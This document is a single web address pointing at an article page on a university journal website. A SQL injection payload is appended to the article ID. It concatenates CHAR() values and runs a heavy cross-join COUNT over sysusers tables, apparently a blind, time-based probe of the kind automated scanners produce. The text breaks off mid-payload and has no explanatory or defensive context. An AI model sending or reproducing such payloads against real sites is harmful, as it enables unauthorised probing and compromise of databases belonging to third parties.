http://journal.feb.unpad.ac.id:80/index.php/jbm/article/view/33'||(SELECT CHAR(79)+CHAR(81)+CHAR(112)+CHAR(73) FROM DUAL WHERE 6790=6790 OR 4839=(SELECT COUNT(*) FROM sysusers AS sys1,sysusers AS sys2,sysusers AS sys3,sysusers AS sys4,sysusers AS sys5,sys